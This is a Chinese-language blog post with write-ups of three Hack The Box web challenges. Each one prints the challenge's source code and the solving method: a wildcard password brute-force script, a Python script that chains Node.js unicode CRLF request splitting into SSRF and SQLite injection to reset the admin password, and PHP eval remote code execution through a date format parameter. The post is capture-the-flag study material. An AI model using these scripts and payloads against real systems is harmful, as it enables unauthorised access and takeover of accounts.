本文最后更新于:10 个月前
Hack The Box做题记录 Phonebook
一个登录界面,下面提示用Reese登录,看到登录框试着SQL注入,但是发现不管什么姿势都没用,再观察,发现输入错误时会请求一个GET参数message,
可能这里也有漏洞,尝试了下xss,<img src=x onerror=alert(1)>
确实存在xss漏洞,但是经观察,并不能对其利用,那试试模板注入:
这里不止试了这一种,用tplmap跑了一遍所有的模板引擎的情况,都不行,大概模板注入也是走不通了
去找hint吧。。看了别人到这的做法,是在密码传入通配符’*’??未曾设想的道路。
然后跳转到这样一个页面,在搜索框里随便输入一个1,显示出挺多的,
在搜索框也是一顿暴锤,按刚刚的姿势把*
输入返回无搜索结果,然后发现*
后面随便输一个字符发现居然蹦出好多,
那。。推测不就是正则表达式了吗?理解了题意之后去/login页面,传入:
发生了跳转,*代表匹配前面的字符任意次(零次 或多次),如ab*
表示匹配a后面跟着任意个连续的b,可匹配a,ab,abb等,a*b
可匹配任意个连续的a开头,后面跟一个b,可匹配b,ab,aab等,a*b*c
匹配任意个连续的a开头,后跟任意个连续的b,最后以一个c结尾,如c,ac,bc,abc,aabc,abbc,aaabbc等
'.'
(点号):匹配任意单个字符,除换行符。eg:a.b
可匹配aab,axb,a@b等
.*
就形成了贪婪匹配,匹配以a开头,后跟任意个字符,最后以b结尾,如axyzb,a@qqb等
'?'
(问号):表示匹配前面的字符0次或1次,如ab?可匹配ab或a
+
(加号):表示匹配前面的字符一次 或多次
{n}
:表示匹配前面的字符恰好n次,如a{3}表示匹配恰好三个连续的a字符
{n,}
:表示匹配前面的字符至少n次,如,a{2,}可匹配aabcd,aaabcd等
{n,m}
:表示匹配前面的字符至少n次,最多m次
[]
:表示字符类,匹配其中的任意一个字符,如[abc]可匹配a,b或c
[^]
:表示否定字符类,匹配除了其中字符外的任意字符
这里我们根据*匹配前面的字符任意次,我们编写脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requests pre = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_}{?!@#$%^&*<>' url = 'http://167.172.61.89:32269/login' flag = '' for i in range (0 ,60 ): for char in pre: print (char) payload = flag + char + '*' r = requests.post(url,data={ 'username' :'Reese' , 'password' :payload }).text if 'success' in r: flag += char print (flag) break
WeatherApp 打开之后是这样一个页面:
审计源代码: ./index.js:
./routes/index.js:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 const path = require ('path' );const fs = require ('fs' );const express = require ('express' );const router = express.Router ();const WeatherHelper = require ('../helpers/WeatherHelper' );let db;const response = data => ({ message : data }); router.get ('/' , (req, res ) => { return res.sendFile (path.resolve ('views/index.html' )); }); router.get ('/register' , (req, res ) => { return res.sendFile (path.resolve ('views/register.html' )); }); router.post ('/register' , (req, res ) => { if (req.socket .remoteAddress .replace (/^.*:/ , '' ) != '127.0.0.1' ) { return res.status (401 ).end (); } let { username, password } = req.body ; if (username && password) { return db.register (username, password) .then (() => res.send (response ('Successfully registered' ))) .catch (() => res.send (response ('Something went wrong' ))); } return res.send (response ('Missing parameters' )); }); router.get ('/login' , (req, res ) => { return res.sendFile (path.resolve ('views/login.html' )); }); router.post ('/login' , (req, res ) => { let { username, password } = req.body ; if (username && password) { return db.isAdmin (username, password) .then (admin => { if (admin) return res.send (fs.readFileSync ('/app/flag' ).toString ()); return res.send (response ('You are not admin' )); }) .catch (() => res.send (response ('Something went wrong' ))); } return re.send (response ('Missing parameters' )); }); router.post ('/api/weather' , (req, res ) => { let { endpoint, city, country } = req.body ; if (endpoint && city && country) { return WeatherHelper .getWeather (res, endpoint, city, country); } return res.send (response ('Missing parameters' )); }); module .exports = database => { db = database; return router; };
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 router.post ('/register' , (req, res ) => { if (req.socket .remoteAddress .replace (/^.*:/ , '' ) != '127.0.0.1' ) { return res.status (401 ).end (); } let { username, password } = req.body ; if (username && password) { return db.register (username, password) .then (() => res.send (response ('Successfully registered' ))) .catch (() => res.send (response ('Something went wrong' ))); } return res.send (response ('Missing parameters' )); });
从上面我们可以看到/register路由的配置,在访问/register时需要用户的远程IP为本地回环地址,否则就会返回401状态码,也就是说只有内网才能访问,就很容易想到SSRF利用存在可能性,有看到一个register()方法,追踪去看这个函数,在database.js中,这里register()
没有用使用预编译SQL语句,而是直接拼接字符串,存在SQL注入利用的可能性:
1 2 3 4 5 6 7 8 9 10 11 async register (user, pass ) { return new Promise (async (resolve, reject) => { try { let query = `INSERT INTO users (username, password) VALUES ('${user} ', '${pass} ')` ; resolve ((await this .db .run (query))); } catch (e) { reject (e); } }); }
然后是/login路由,这里就能看到/flag的获取渠道了,需要经过isAdmin()
方法的验证以admin身份登录。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 router.post ('/login' , (req, res ) => { let { username, password } = req.body ; if (username && password) { return db.isAdmin (username, password) .then (admin => { if (admin) return res.send (fs.readFileSync ('/app/flag' ).toString ()); return res.send (response ('You are not admin' )); }) .catch (() => res.send (response ('Something went wrong' ))); } return re.send (response ('Missing parameters' )); });
顺着去找isAdmin()
方法,在database.js中,这里查询用的预编译:
1 2 3 4 5 6 7 8 9 10 11 async isAdmin (user, pass ) { return new Promise (async (resolve, reject) => { try { let smt = await this .db .prepare ('SELECT username FROM users WHERE username = ? and password = ?' ); let row = await smt.get (user, pass); resolve (row !== undefined ? row.username == 'admin' : false ); } catch (e) { reject (e); } }); }
database.js这里migrate()
函数中在创建admin用户时生成了个32位的随机数然后再转16进制再经过加密,爆破是几乎不可能的了
1 2 3 4 5 6 7 8 9 10 11 12 13 async migrate ( ) { return this .db .exec (` DROP TABLE IF EXISTS users; CREATE TABLE IF NOT EXISTS users ( id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, username VARCHAR(255) NOT NULL UNIQUE, password VARCHAR(255) NOT NULL ); INSERT INTO users (username, password) VALUES ('admin', '${ crypto.randomBytes(32 ).toString('hex' ) } '); ` ); }
/api/waether,这个路由中,let { endpoint, city, country } = req.body;
将POST请求的参数赋给{ endpoint, city, country }
,调用WeatherHelper中的getWeather()
方法,参数为res, endpoint, city, country
1 2 3 4 5 6 7 8 9 router.post ('/api/weather' , (req, res ) => { let { endpoint, city, country } = req.body ; if (endpoint && city && country) { return WeatherHelper .getWeather (res, endpoint, city, country); } return res.send (response ('Missing parameters' )); });
,那就顺着思路往下看WeatherHelper.js,就是请求一个api然后返回城市数据气温等等信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 const HttpHelper = require ('../helpers/HttpHelper' );module .exports = { async getWeather (res, endpoint, city, country ) { let apiKey = '10a62430af617a949055a46fa6dec32f' ; let weatherData = await HttpHelper .HttpGet (`http://${endpoint} /data/2.5/weather?q=${city} ,${country} &units=metric&appid=${apiKey} ` ); if (weatherData.name ) { let weatherDescription = weatherData.weather [0 ].description ; let weatherIcon = weatherData.weather [0 ].icon .slice (0 , -1 ); let weatherTemp = weatherData.main .temp ; switch (parseInt (weatherIcon)) { case 2 : case 3 : case 4 : weatherIcon = 'icon-clouds' ; break ; case 9 : case 10 : weatherIcon = 'icon-rain' ; break ; case 11 : weatherIcon = 'icon-storm' ; break ; case 13 : weatherIcon = 'icon-snow' ; break ; default : weatherIcon = 'icon-sun' ; break ; } return res.send ({ desc : weatherDescription, icon : weatherIcon, temp : weatherTemp, }); } return res.send ({ error : `Could not find ${city} or ${country} ` }); } }
其中的HttpHelper.HttpGet()
方法是访问一个api并接受处理返回的数据,以json返回,重点在于,这里是通过服务端进行一次get请求的 ,并且endpoint等参数在前面看到过,是可控的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 const http = require ('http' );module .exports = { HttpGet (url) { return new Promise ((resolve, reject ) => { http.get (url, res => { let body = '' ; res.on ('data' , chunk => body += chunk); res.on ('end' , () => { try { resolve (JSON .parse (body)); } catch (e) { resolve (false ); } }); }).on ('error' , reject); }); } }
全部代码看了一遍下来还是不知道ssrf的点在哪里,改过XFF为127.0.0.1也不行。无奈去看了点提示,发现package.json的内容我都没看过,wp看到注意nodejs的版本,是8.12.0,于是去谷歌开始search相关版本的漏洞,重点注意ssrf的,
找了很久也是一路顺藤摸瓜找到了这篇文章:文章 ,是关于nodejs的请求分割,CRLF(HTTP响应拆分攻击)
简单理解就是node在实际发起请求前,对url的处理是使用多字节的unicode编码解析,如果传入数据中包含恶意设计的unicode编码,在解析之后就会变为字符(如\r\n),就会造成请求分割。
1 2 3 4 将空格编码为\u0120 \r编码为\u010D \n 编码为\u010A 引号等其余字符url编码
脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import urllib.parseimport requests url = 'http://157.245.39.76:31090/api/weather' username = 'admin' password = "') on conflict(username) do update set password = '11';--" username = urllib.parse.quote(username) password = urllib.parse.quote(password) content_length = len (f"username={username} &password={password} " ) payload = \f"""127.0.0.1/ HTTP/1.1 Host: 127.0.0.1 POST /register HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: {content_length} Connection: close username={username} &password={password} GET /""" endpoint = payload.replace(' ' ,'\u0120' ).replace('\n' ,'\u010A' ).replace('\r' ,'\u010D' ) city = 'city' country = 'cn' r = requests.post(url,json={'endpoint' :endpoint,'city' :city,'country' :country}).status_codeprint (r)
这里要讲一下SQLite中的ON CONFLICT语句,在SQLite数据库中,”ON CONFLICT” 是一种用于处理插入操作中发生冲突的机制。当尝试向表中插入一行数据时,如果违反了某些约束(例如唯一性约束),就会发生冲突。”ON CONFLICT” 子句允许你指定在发生冲突时应该如何处理。
常见的用法是在 INSERT 语句中使用 “ON CONFLICT” 子句。以下是一些示例:
忽略冲突:INSERT OR IGNORE INTO table_name … 会忽略冲突并继续执行。
替换(Replace):INSERT OR REPLACE INTO table_name … 会尝试插入数据,如果发生冲突,会先删除原有数据然后插入新数据。
更新(Update):INSERT OR REPLACE INTO table_name … 会尝试插入数据,如果发生冲突,会更新冲突行的数据。
回滚(Rollback):INSERT OR ROLLBACK INTO table_name … 在发生冲突时会回滚整个事务,不会插入数据。
这里利用的是on confilct update
使用密码11登录
LoveTok 页面如下:
查看源代码:
TimeControllor.php:
1 2 3 4 5 6 7 8 9 10 <?php class TimeController { public function index ($router ) { $format = isset ($_GET ['format' ]) ? $_GET ['format' ] : 'r' ; $time = new TimeModel ($format ); return $router ->view ('index' , ['time' => $time ->getTime ()]); } }
定义了一个TimeController类,类里定义了一个index()方法,其中format变量通过GET请求传入,否则默认为r,然后实例化一个TimeModel类,传入format参数,再返回一个路由渲染,渲染time值为time类中的getTime()方法,
TimeModel.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class TimeModel { public function __construct ($format ) { $this ->format = addslashes ($format ); [ $d , $h , $m , $s ] = [ rand (1 , 6 ), rand (1 , 23 ), rand (1 , 59 ), rand (1 , 69 ) ]; $this ->prediction = "+${d} day +${h} hour +${m} minute +${s} second" ; } public function getTime ( ) { eval ('$time = date("' . $this ->format . '", strtotime("' . $this ->prediction . '"));' ); return isset ($time ) ? $time : 'Something went terribly wrong' ; } }
定义了一个TimeModel类,类里定义了一个构造函数和一个getTime函数,构造函数参数为format,然后addslashes转义掉单双引号,再随机生成一个日期时间,然后组成一个时间的字符串;getTime()
方法中有一个eval ()函数,用于格式化日期时间,最后返回时间。
那这里的eval函数就存在可能的rce,这里有一个前置知识,在date函数中使用一个与时间无关的任意字符串作为format参数
,函数会将这个字符串原样输出,而不会进行日期和时间格式化,于是这里传入${phpinfo()},存在rce
那就用system()函数执行命令吧,然后问题就来了,题目把引号转义了,不过不同的题目思想都是类似可以相互借鉴的,ssti那边将引号ban了之后采用的是将字符串用GET或者POST传参或者放入header或cookie里,这里就把命令放入GET参数中:
这里还想出来另外一种方法,既然无法使用引号包装shell字符串,那就不用呗,用反引号也能执行系统命令,但是无法输出结果,这时候我们只需要使用输出语句print_r()或echo或var_dump()将结果输出即可,这里echo不知道为什么500了,print_r()和var_dump()可以完美实现: